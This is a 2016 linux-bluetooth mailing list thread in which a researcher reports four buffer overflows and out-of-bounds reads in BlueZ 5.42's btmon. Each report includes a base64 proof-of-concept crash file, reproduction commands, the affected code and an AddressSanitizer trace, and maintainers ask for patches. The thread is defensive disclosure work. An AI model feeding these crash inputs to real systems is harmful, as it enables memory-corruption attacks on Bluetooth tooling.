From: Johan Hedberg <johan.hedberg@gmail.com>
To: "op7ic \\x00" <op7ica@gmail.com>
Cc: "François Beaufort" <beaufort.francois@gmail.com>,
"Luiz Augusto von Dentz" <luiz.dentz@gmail.com>,
"linux-bluetooth@vger.kernel.org"
<linux-bluetooth@vger.kernel.org>
Subject: Re: multiple buffer overflows and out-of-bound reads
Date: Tue, 15 Nov 2016 14:01:34 +0200 [thread overview]
Message-ID: <20161115120134.GA17313@x1c> (raw)
In-Reply-To: <CAFHyJToadPMz3H+Lg1A53W1xbURPggeDqY3ga4VuK3deF1zV+A@mail.gmail.com>
Hi op7ic,
Is there any chance that you could try convert these to actual patches
to fix the issues?
Johan
On Tue, Nov 15, 2016, op7ic \x00 wrote:
> here are 4 crashes resulting in either out-of-bound reads or buffer
> overflows (see attached) but this time in btmon. They are pretty much
> similar to bugs reported previously.
>
> On Tue, Nov 15, 2016 at 10:51 AM, op7ic \x00 <op7ica@gmail.com> wrote:
> > I got couple in btmon and I started looking at BO's in btmon too.
> >
> > FWIW whenever the code base is shared similar bugs will appear. You
> > notice that a lot of BO issues reported are for example due to
> > unchecked memcpy or just lack of boundary verification on arrays etc .
> > Once you hit that point same bug appears.
> >
> >
> >
> >
> > On Tue, Nov 15, 2016 at 10:41 AM, François Beaufort
> > <beaufort.francois@gmail.com> wrote:
> >> FWIW, I have been witnessing btmon buffer overflows this morning but
> >> can't reproduce anymore.
> >>
> >> On Tue, Nov 15, 2016 at 10:25 AM, op7ic \x00 <op7ica@gmail.com> wrote:
> >>> alright will do - thanks for replying.
> >>>
> >>> On Tue, Nov 15, 2016 at 9:18 AM, Luiz Augusto von Dentz
> >>> <luiz.dentz@gmail.com> wrote:
> >>>> Hi,
> >>>>
> >>>> On Mon, Nov 14, 2016 at 7:06 PM, op7ic \x00 <op7ica@gmail.com> wrote:
> >>>>> Hello list,
> >>>>>
> >>>>> I have been playing with hcidump tool recently and came across
> >>>>> following bugs coming from either out-of-bound reads or buffer
> >>>>> overflows (see attached reports).
> >>>>>
> >>>>> There are couple more I`m working on and will send these later.
> >>>>
> >>>> I guess we want these to be tested against btmon, hcidump is a deprecated.
> >>>>
> >>>> --
> >>>> Luiz Augusto von Dentz
> >>> --
> >>> To unsubscribe from this list: send the line "unsubscribe linux-bluetooth" in
> >>> the body of a message to majordomo@vger.kernel.org
> >>> More majordomo info at http://vger.kernel.org/majordomo-info.html
> Machine: x86_64
> OS: linux-gnu
> Compiler: gcc
> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
> Machine Type: x86_64-unknown-linux-gnu
> BlueZ Version: 5.42
> Release Status: release
> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
>
> Description:
>
> A buffer overflow was identified in "l2cap_packet" function in "monitor/packet.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
>
> ./monitor/btmon -r <PoC File>
>
>
> PoC.file base64 encoded:
>
> AAAAGAOEAAAAABAAAAMAEAkjChgAAwP7AgMDAxADEBAJIwoYAAMD+wIDAwMQAxAAAwMDAA==
>
>
>
> Affected code:
>
> 3161 index_list[index][in].frag_buf = malloc(len);
> 3162 if (!index_list[index][in].frag_buf) {
> 3163 print_text(COLOR_ERROR, "failed buffer allocation") ;
> 3164 packet_hexdump(data, size);
> 3165 return;
> 3166 }
> 3167
> 3168 memcpy(index_list[index][in].frag_buf, data, size);
> 3169 index_list[index][in].frag_pos = size;
> 3170 index_list[index][in].frag_len = len - size;
> 3171 index_list[index][in].frag_cid = cid;
> 3172 break;
>
>
>
> Repeat-By:
> echo <above base64> > PoC.64
> base64 -d PoC.b64 > PoC.file
> valgrind ./monitor/btmon -r PoC.file
>
>
> ASAN Report (bluez needs to compiled with -fsanitize=address for this):
>
> =================================================================
> ==27023==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x76cf40a9c2c2 at pc 0x679d7a177792 bp 0x76cf40a9b830 sp 0x76cf40a9aff0
> READ of size 4095 at 0x76cf40a9c2c2 thread T0
> < HCI Command: Unknown (0x00|0x0003) plen 16 [hci0] 0.004096
> 09 23 0a 18 00 03 03 fb 02 03 03 03 .#..........
> < ACL Data TX: Handle 771 flags 0x00 dlen 4099 [hci0] 94308888.197627
> #0 0x679d7a177791 (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e791)
> #1 0x4b9ecc in l2cap_packet monitor/l2cap.c:3168
> #2 0x47dda6 in packet_hci_acldata monitor/packet.c:9115
> #3 0x483777 in packet_monitor monitor/packet.c:3846
> #4 0x417f68 in control_reader monitor/control.c:1415
> #5 0x40a142 in main monitor/main.c:220
> #6 0x679d79bb0b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
> #7 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e)
>
> Address 0x76cf40a9c2c2 is located in stack of thread T0 at offset 1778 in frame
> #0 0x417b4f in control_reader monitor/control.c:1375
>
> This frame has 5 object(s):
> [32, 34) 'pktlen'
> [96, 98) 'index'
> [160, 162) 'frequency'
> [224, 240) 'tv'
> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable
> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
> (longjmp and C++ exceptions *are* supported)
> SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 ??
> Shadow bytes around the buggy address:
> 0x0eda6814b800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> =>0x0eda6814b850: 00 00 00 00 00 00 00 00[02]f4 f3 f3 f3 f3 00 00
> 0x0eda6814b860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
> 0x0eda6814b870: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b880: 00 00 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0eda6814b8a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> Shadow byte legend (one shadow byte represents 8 application bytes):
> Addressable: 00
> Partially addressable: 01 02 03 04 05 06 07
> Heap left redzone: fa
> Heap right redzone: fb
> Freed heap region: fd
> Stack left redzone: f1
> Stack mid redzone: f2
> Stack right redzone: f3
> Stack partial redzone: f4
> Stack after return: f5
> Stack use after scope: f8
> Global redzone: f9
> Global init order: f6
> Poisoned by user: f7
> Contiguous container OOB:fc
> ASan internal: fe
> ==27023==ABORTING
> Machine: x86_64
> OS: linux-gnu
> Compiler: gcc
> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
> Machine Type: x86_64-unknown-linux-gnu
> BlueZ Version: 5.42
> Release Status: release
> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
>
> Description:
>
> A out-of-bound read was identified in "packet_hexdump" function in "monitor/packet.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
>
> ./monitor/btmon -r <PoC File>
>
>
> PoC.file base64 encoded:
> AACACQQHGAAaERDoAwAAAAkjBxgAAwMDAwMDAwMDAwMDAwMDAwMDAw==
>
>
> Affected code:
>
> 3736 static const char hexdigits[] = "0123456789abcdef";
> 3737 char str[68];
> 3738 uint16_t i;
> 3739
> 3740 if (!len)
> 3741 return;
> 3742
> 3743 for (i = 0; i < len; i++) {
> 3744 str[((i % 16) * 3) + 0] = hexdigits[buf[i] >> 4];
> 3745 str[((i % 16) * 3) + 1] = hexdigits[buf[i] & 0xf];
> 3746 str[((i % 16) * 3) + 2] = ' ';
>
>
>
> Repeat-By:
> echo <above base64> > PoC.64
> base64 -d PoC.b64 > PoC.file
> valgrind ./monitor/btmon -r PoC.file
>
>
> ASAN Report (bluez needs to compiled with -fsanitize=address for this):
>
> ==13306==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x79fe1636c7e2 at pc 0x42cb3c bp 0x79fe1636bca0 sp 0x79fe1636bc98
> READ of size 1 at 0x79fe1636c7e2 thread T0
> > ACL Data RX: Handle 0 flags 0x00 dlen 2304 [hci0] 0.437326056
> invalid packet size (32764 != 2304)
> 23 07 18 00 03 03 03 03 03 03 03 03 03 03 03 03 #...............
> 03 03 03 03 03 03 03 00 00 00 00 00 20 08 82 40 ............ ..@
> 00 28 80 20 00 00 00 00 40 01 40 23 00 00 00 00 .(. ....@.@#....
> a0 04 20 00 00 00 00 00 00 04 00 80 00 00 00 00 .. .............
> 00 00 10 04 ff ff ff ff 04 01 04 86 9a 39 1c 20 .............9.
> 54 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Tp..............
> 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
> ff ff ff ff 04 00 00 00 4c 00 00 00 00 00 00 00 ........L.......
> 00 00 00 00 9a 39 1c 20 54 70 00 00 00 00 00 00 .....9. Tp......
> 00 00 00 00 56 98 54 00 00 00 00 00 80 c8 36 00 ....V.T.......6.
> 00 00 00 00 1b 00 00 00 00 00 00 00 59 98 54 00 ............Y.T.
> 00 00 00 00 00 80 81 21 54 70 00 00 a2 e5 32 1f .......!Tp....2.
> 54 70 00 00 62 53 61 21 54 70 00 00 00 00 00 00 Tp..bSa!Tp......
> 00 00 00 00 74 78 61 21 54 70 00 00 80 c5 36 16 ....txa!Tp....6.
> fe 79 00 00 00 b0 82 21 54 70 00 00 00 00 00 00 .y.....!Tp......
> 00 00 00 00 08 00 00 00 30 00 00 00 50 c8 36 16 ........0...P.6.
> fe 79 00 00 90 c7 36 16 fe 79 00 00 50 f8 1d 20 .y....6..y..P..
> 54 70 00 00 a0 e2 51 20 54 70 00 00 00 00 00 00 Tp....Q Tp......
> 00 00 00 00 00 00 00 00 00 00 00 00 18 c8 36 16 ..............6.
> fe 79 00 00 17 c8 36 16 fe 79 00 00 34 c3 36 16 .y....6..y..4.6.
> fe 79 00 00 00 00 00 00 00 00 00 00 00 00 00 91 .y..............
> 6d 2c fc f3 01 00 00 00 00 00 00 00 80 c5 36 16 m,............6.
> fe 79 00 00 00 80 81 21 54 70 00 00 a2 e5 32 1f .y.....!Tp....2.
> 54 70 00 00 00 00 e0 85 6d 2c fc f3 00 00 c2 f0 Tp......m,......
> c2 42 a8 e0 00 00 00 00 00 00 00 00 80 c5 36 16 .B............6.
> fe 79 00 00 b8 79 82 21 54 70 00 00 51 45 52 20 .y...y.!Tp..QER
> 54 70 00 00 00 00 40 86 6d 2c fc f3 00 00 c2 f0 Tp....@.m,......
> c2 42 a8 e0 06 00 00 00 00 00 00 00 80 c5 36 16 .B............6.
> fe 79 00 00 05 16 62 21 54 70 00 00 89 53 74 20 .y....b!Tp...St
> 54 70 00 00 c8 86 81 21 54 70 00 00 01 00 00 00 Tp.....!Tp......
> 00 00 00 00 80 c8 36 16 fe 79 00 00 98 86 81 21 ......6..y.....!
> 54 70 00 00 9b 5b 61 21 54 70 00 00 00 00 01 00 Tp...[a!Tp......
> 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 ................
> 01 00 00 00 35 63 61 21 54 70 00 00 01 00 00 00 ....5ca!Tp......
> fe 79 00 00 00 80 81 21 54 70 00 00 00 00 00 00 .y.....!Tp......
> 00 00 00 00 28 ea 9c 20 54 70 00 00 68 0a 73 20 ....(.. Tp..h.s
> 54 70 00 00 b5 55 61 21 54 70 00 00 01 00 00 00 Tp...Ua!Tp......
> fe 79 00 00 d8 99 81 21 54 70 00 00 30 c4 36 16 .y.....!Tp..0.6.
> fe 79 00 00 1c 1c 61 21 54 70 00 00 a8 e8 9c 20 .y....a!Tp.....
> 54 70 00 00 1c 1c 61 21 54 70 00 00 03 00 00 00 Tp....a!Tp......
> 00 00 00 00 2e 03 31 1c 00 00 00 00 03 00 00 00 ......1.........
> 00 00 00 00 0b 00 00 00 00 00 00 00 f8 86 81 21 ...............!
> 54 70 00 00 8e 25 61 21 54 70 00 00 28 bd 17 20 Tp...%a!Tp..(..
> 54 70 00 00 00 c5 36 16 fe 79 00 00 28 bd 17 20 Tp....6..y..(..
> 54 70 00 00 48 c1 17 20 54 70 00 00 10 c6 36 16 Tp..H.. Tp....6.
> fe 79 00 00 0c c4 70 00 00 00 00 00 00 c6 36 16 .y....p.......6.
> fe 79 00 00 80 87 81 21 54 70 00 00 00 00 00 00 .y.....!Tp......
> 00 00 00 00 80 87 81 21 54 70 00 00 00 a0 81 21 .......!Tp.....!
> 54 70 00 00 04 14 40 00 00 00 00 00 78 8d 18 20 Tp....@.....x..
> 54 70 00 00 70 0a 40 00 00 00 00 00 00 00 00 00 Tp..p.@.........
> 01 00 00 00 2c 00 00 00 01 00 00 00 90 c6 36 16 ....,.........6.
> fe 79 00 00 80 87 81 21 54 70 00 00 a0 c6 36 16 .y.....!Tp....6.
> fe 79 00 00 00 b5 82 21 54 70 00 00 c8 c6 36 16 .y.....!Tp....6.
> fe 79 00 00 a8 b1 82 21 54 70 00 00 01 00 00 00 .y.....!Tp......
> 00 00 00 00 3d 27 61 21 54 70 00 00 00 00 00 00 ....='a!Tp......
> 00 00 00 00 80 87 81 21 54 70 00 00 01 00 00 00 .......!Tp......
> 54 70 00 00 00 00 00 00 00 00 00 00 01 00 00 00 Tp..............
> 00 00 00 00 a8 b1 82 21 54 70 00 00 03 00 00 00 .......!Tp......
> 00 00 00 00 0b 00 00 00 00 00 00 00 f8 86 81 21 ...............!
> 54 70 00 00 8e 25 61 21 54 70 00 00 00 00 00 00 Tp...%a!Tp......
> 00 00 00 00 00 b5 82 21 54 70 00 00 10 c6 36 16 .......!Tp....6.
> fe 79 00 00 00 c6 36 16 fe 79 00 00 2e 03 31 1c .y....6..y....1.
> 00 00 00 00 04 14 40 00 00 00 00 00 ff ff ff ff ......@.........
> 00 00 00 00 20 0f 40 00 00 00 00 00 48 c1 17 20 .... .@.....H..
> 54 70 00 00 00 a0 81 21 54 70 00 00 00 a0 81 21 Tp.....!Tp.....!
> 54 70 00 00 da 15 40 00 00 00 00 00 78 8d 18 20 Tp....@.....x..
> 54 70 00 00 38 03 40 00 00 00 00 00 00 00 00 00 Tp..8.@.........
> 01 00 00 00 54 02 00 00 01 00 00 00 01 00 00 00 ....T...........
> 00 00 00 00 80 87 81 21 54 70 00 00 b0 c7 36 16 .......!Tp....6.
> fe 79 00 00 00 b5 82 21 54 70 00 00 d8 c7 36 16 .y.....!Tp....6.
> fe 79 00 00 e8 56 7d 00 00 00 00 00 00 00 00 00 .y...V}.........
> 00 00 00 00 00 00 00 00 00 00 00 00 f0 ef 00 00 ................
> 20 60 00 00 00 00 00 00 00 00 00 00 00 c8 36 16 `............6.
> fe 79 00 00 c7 6d 61 21 54 70 00 00 01 00 00 00 .y...ma!Tp......
> : #0 0x42cb3b in packet_hexdump monitor/packet.c:3744
> #1 0x47dd2b in packet_hexdump monitor/packet.c:3740
> #2 0x47dd2b in packet_hci_acldata monitor/packet.c:9108
> #3 0x483752 in packet_monitor monitor/packet.c:3849
> #4 0x417f68 in control_reader monitor/control.c:1415
> #5 0x40a142 in main monitor/main.c:220
> #6 0x705420199b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
> #7 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e)
>
> Address 0x79fe1636c7e2 is located in stack of thread T0 at offset 1778 in frame
> #0 0x417b4f in control_reader monitor/control.c:1375
>
> This frame has 5 object(s):
> [32, 34) 'pktlen'
> [96, 98) 'index'
> [160, 162) 'frequency'
> [224, 240) 'tv'
> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable
> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
> (longjmp and C++ exceptions *are* supported)
> SUMMARY: AddressSanitizer: stack-buffer-overflow monitor/packet.c:3744 packet_hexdump
> Shadow bytes around the buggy address:
> 0x0f4042c658a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c658b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c658c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c658d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c658e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> =>0x0f4042c658f0: 00 00 00 00 00 00 00 00 00 00 00 00[02]f4 f3 f3
> 0x0f4042c65900: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c65910: 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c65920: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00 00 00
> 0x0f4042c65930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0f4042c65940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> Shadow byte legend (one shadow byte represents 8 application bytes):
> Addressable: 00
> Partially addressable: 01 02 03 04 05 06 07
> Heap left redzone: fa
> Heap right redzone: fb
> Freed heap region: fd
> Stack left redzone: f1
> Stack mid redzone: f2
> Stack right redzone: f3
> Stack partial redzone: f4
> Stack after return: f5
> Stack use after scope: f8
> Global redzone: f9
> Global init order: f6
> Poisoned by user: f7
> Contiguous container OOB:fc
> ASan internal: fe
> ==13306==ABORTING
>
> Machine: x86_64
> OS: linux-gnu
> Compiler: gcc
> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
> Machine Type: x86_64-unknown-linux-gnu
> BlueZ Version: 5.42
> Release Status: release
> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
>
> Description:
>
> An buffer overflow was observed in "pklg_read_hci" function in "btsnoop.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
>
> ./monitor/btmon -r <PoC File>
>
>
>
> PoC.file base64 encoded:
>
> AAAQABkQAKLNFQCAAgICFwIXAAEABU5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5O
> Tk5OTqGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh
> oU5OTk5OTk5OTk5OTk5dTgAAdXV1dXV1dXV1dXV1dXV1MyQ+Plj7AbrYA4QBABIgPj08Gjq6AAME
> AQC62AMEAQAwPkc+WgABABAD3AEAPgAEGj4uPrrYEgQBAIw+Pk1YGj66AAMEAQAAkI+PAECPlNOA
> AAEAEj5NPlgC/4AA9gQBABI+PgEAAAC6AAMEAT4+AQAAALoAAwQB/3///z5YAAEfAA7mAQA+CAQa
> Pho+utgDBAEAMD4+PlgAAR8AA+YBAD4ABBY+QD7//wMEAQAFPj49WAY+uugDBPUAEj4+PlgaPrrY
> AwQBACKdAAAYGj66AAMEAQASJD4+WBo+utgDBAEA/38AAAwaPgAAAAEBADMkPj5YAAG62AOEAQAS
> ID49PBo6ugADBAEAutgDBAEAMD5HPloAAQAQA9wBAD4ABBo+Lj66ABAfAAPmAQABAAQWcHBwcHBw
> cP//f/9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT71PT09PT4D/T09PT09PD09P
> T09PT09PT09PT09PT09PT09PT09PT09PT09RT09PUk9PT09PT09PT09PT09PT0////8ABAkEAiAA
> KgUZEACizRUVNAICABI+PgEAAAC6CQMEAf9///8+WAABHwAO5gEAPggEGj4aPrrYAwQBAE0+Pj5Y
> AAEfAAPmAQA+AAQWPkA+//8DBAEABT4+PVgGPrroAwT1ABI+Pj5YGj662AMEAQBDnQAAAQA+CAQa
> Pho+utgDBAEAMD4+PlgAAR8AA+YBAD4ABBY+QD7//wMEAQAFPj49WAY+uugDBPUAEj4+PlgaPrrY
> AwQBAEOdAAAYGj66AAMEAQASJD4+WBo+utgDBAEA/38AAAwaPgAAAAEBABgaProAAwQBABIkPj5Y
> Gj662AMEAQD/fwAADBo+AAAAAQEAMyQ+PlgAAbrYA4QBABIgPj08Gjq6AAMEDwC62AMEAQAwPkc+
> WgABABwD3AEAPgAEGj4uPrrYEgQBAIw+Pk1YGj66AAMEAQAAkI+PAEBPT09PT09PT09PT09PT09P
> T09PT09PT08DhAEAEiA+PTwaOroAAwQBALrYAwQBADA+Rz5aAAEAEAPcAQA+j5TTgAABABI+TT5Y
> Av+AAPYEAQASPj4BAAAAugADBAEAED4+PlgWAR8ADuYBAD4IBBo+Gj662E5OTk5OTk5dTk51dXV1
> dXV1dXV1dXV1dXV1dXV1dXV1dXVOTk5OTk5OTk5OTk5OTk5OTk5OTugLAAAC////fwIXAAGA////
> AAQJBAIgACoFGRAAnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ1AnZ2dnZ2dnZ2dnZ2dnZ2dnZ2d
> nZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ0AAAC6AAMEAQAQPj4+WAABH09PT09P
> T09PT08PT09PT09PT09PT09PT09PT09PT09PT3BwcHBwcJJwcHBwiHBwcHDucHBwcHBwcHBwcHBw
> cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwEHBwcHBwcHBwcHBwcHBwcHBwT3Bw
> cAIgACoFGRAAos0VFTQCAgAgPj4BAAAAugADBAH/f///PlgAAR8ADuYBAD4IBHBwPgAZGj5wcHBw
> cHBgcHBwcHBwcHBwcHBwQHBwcHBwcHBwGj662BIEAQCMPj5NWBoADuYBAD4IBHBwPgAZGj5wcHBw
> cHBgcHBwcHBwcHBwcHBwQHBwcHBwcHBwGj662BIEAQCMPj5NWBo+ugADBAEAEiA+Plj///9/EAQB
> ABI+TVgGProAAwQBABI+Pj5YJAAQQA==
>
>
>
> Affected code:
>
> 368 *index = 0xffff;
> 369 *opcode = 0xffff;
> 370 break;
> 371 }
> 372
> 373 len = read(btsnoop->fd, data, toread);
> 374 if (len < 0) {
> 375 btsnoop->aborted = true;
> 376 return false;
> 377 }
>
>
>
> Repeat-By:
> echo <above base64> > PoC.64
> base64 -d PoC.b64 > PoC.file
> valgrind ./monitor/btmon -r PoC.file
>
>
> ASAN Report (bluez needs to compiled with -fsanitize=address for this):
>
> =================================================================
> ==1986==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x73f4d87b94c2 at pc 0x663b1aef59b6 bp 0x73f4d87b8c50 sp 0x73f4d87b8c38
> WRITE of size 1491 at 0x73f4d87b94c2 thread T0
> #0 0x663b1aef59b5 in read (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x299b5)
> #1 0x544a17 in pklg_read_hci src/shared/btsnoop.c:373
> #2 0x544a17 in btsnoop_read_hci src/shared/btsnoop.c:433
> #3 0x417efd in control_reader monitor/control.c:1408
> #4 0x40a142 in main monitor/main.c:220
> #5 0x663b1a933b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
> #6 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e)
>
> Address 0x73f4d87b94c2 is located in stack of thread T0 at offset 1778 in frame
> #0 0x417b4f in control_reader monitor/control.c:1375
>
> This frame has 5 object(s):
> [32, 34) 'pktlen'
> [96, 98) 'index'
> [160, 162) 'frequency'
> [224, 240) 'tv'
> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable
> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
> (longjmp and C++ exceptions *are* supported)
> SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 read
> Shadow bytes around the buggy address:
> 0x0e7f1b0ef240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> =>0x0e7f1b0ef290: 00 00 00 00 00 00 00 00[02]f4 f3 f3 f3 f3 00 00
> 0x0e7f1b0ef2a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
> 0x0e7f1b0ef2b0: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef2c0: 00 00 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef2d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0e7f1b0ef2e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> Shadow byte legend (one shadow byte represents 8 application bytes):
> Addressable: 00
> Partially addressable: 01 02 03 04 05 06 07
> Heap left redzone: fa
> Heap right redzone: fb
> Freed heap region: fd
> Stack left redzone: f1
> Stack mid redzone: f2
> Stack right redzone: f3
> Stack partial redzone: f4
> Stack after return: f5
> Stack use after scope: f8
> Global redzone: f9
> Global init order: f6
> Poisoned by user: f7
> Contiguous container OOB:fc
> ASan internal: fe
> ==1986==ABORTING
> Machine: x86_64
> OS: linux-gnu
> Compiler: gcc
> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
> Machine Type: x86_64-unknown-linux-gnu
> BlueZ Version: 5.42
> Release Status: release
> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
>
> Description:
>
> A out-of-bound read was identified in "print_hex_field" function in "monitor/packet.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
>
> ./monitor/btmon -r <PoC File>
>
>
> PoC.file base64 encoded:
>
> AAAADCQkLv9/AIAAARUB3QAAAAwdJCT/f4gAAQE=
>
>
>
> Affected code:
>
> 1908 static void print_hex_field(const char *label, const uint8_t *data,
> 1909 uint8_t le n)
> 1910 {
> 1911 char str[len * 2 + 1];
> 1912 uint8_t i;
> 1913
> 1914 str[0] = '\0';
> 1915
> 1916 for (i = 0; i < len; i++)
> 1917 sprintf(str + (i * 2), "%2.2x", data[i]);
> 1918
>
>
>
>
> Repeat-By:
> echo <above base64> > PoC.64
> base64 -d PoC.b64 > PoC.file
> valgrind ./monitor/btmon -r PoC.file
>
>
> ASAN Report (bluez needs to compiled with -fsanitize=address for this):
>
> ==17737==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77c32d2411a2 at pc 0x431421 bp 0x77c32d240700 sp 0x77c32d2406f8
> READ of size 1 at 0x77c32d2411a2 thread T0
> #0 0x431420 in print_hex_field monitor/packet.c:1917
> #1 0x44428d in print_key monitor/packet.c:1924
> #2 0x44428d in print_link_key monitor/packet.c:1929
> #3 0x44428d in return_link_keys_evt monitor/packet.c:7803
> #4 0x47d5f8 in packet_hci_event monitor/packet.c:9072
> #5 0x483025 in packet_monitor monitor/packet.c:3843
> #6 0x417f68 in control_reader monitor/control.c:1415
> #7 0x40a142 in main monitor/main.c:220
> #8 0x74bb760f0b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
> #9 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e)
>
> Address 0x77c32d2411a2 is located in stack of thread T0 at offset 1778 in frame
> #0 0x417b4f in control_reader monitor/control.c:1375
>
> This frame has 5 object(s):
> [32, 34) 'pktlen'
> [96, 98) 'index'
> [160, 162) 'frequency'
> [224, 240) 'tv'
> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable
> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
> (longjmp and C++ exceptions *are* supported)
> SUMMARY: AddressSanitizer: stack-buffer-overflow monitor/packet.c:1917 print_hex_field
> Shadow bytes around the buggy address:
> 0x0ef8e5a401e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0ef8e5a401f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0ef8e5a40200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0ef8e5a40210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0ef8e5a40220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> =>0x0ef8e5a40230: 00 00 00 00[02]f4 f3 f3 f3 f3 00 00 00 00 00 00
> 0x0ef8e5a40240: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00
> 0x0ef8e5a40250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 f3
> 0x0ef8e5a40260: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0ef8e5a40270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0x0ef8e5a40280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> Shadow byte legend (one shadow byte represents 8 application bytes):
> Addressable: 00
> Partially addressable: 01 02 03 04 05 06 07
> Heap left redzone: fa
> Heap right redzone: fb
> Freed heap region: fd
> Stack left redzone: f1
> Stack mid redzone: f2
> Stack right redzone: f3
> Stack partial redzone: f4
> Stack after return: f5
> Stack use after scope: f8
> Global redzone: f9
> Global init order: f6
> Poisoned by user: f7
> Contiguous container OOB:fc
> ASan internal: fe
> ==17737==ABORTING
>
next prev parent reply other threads:[~2016-11-15 12:01 UTC|newest]
Thread overview: 8+ messages / expand[flat|nested] mbox.gz Atom feed top
2016-11-14 17:06 multiple buffer overflows and out-of-bound reads op7ic \x00
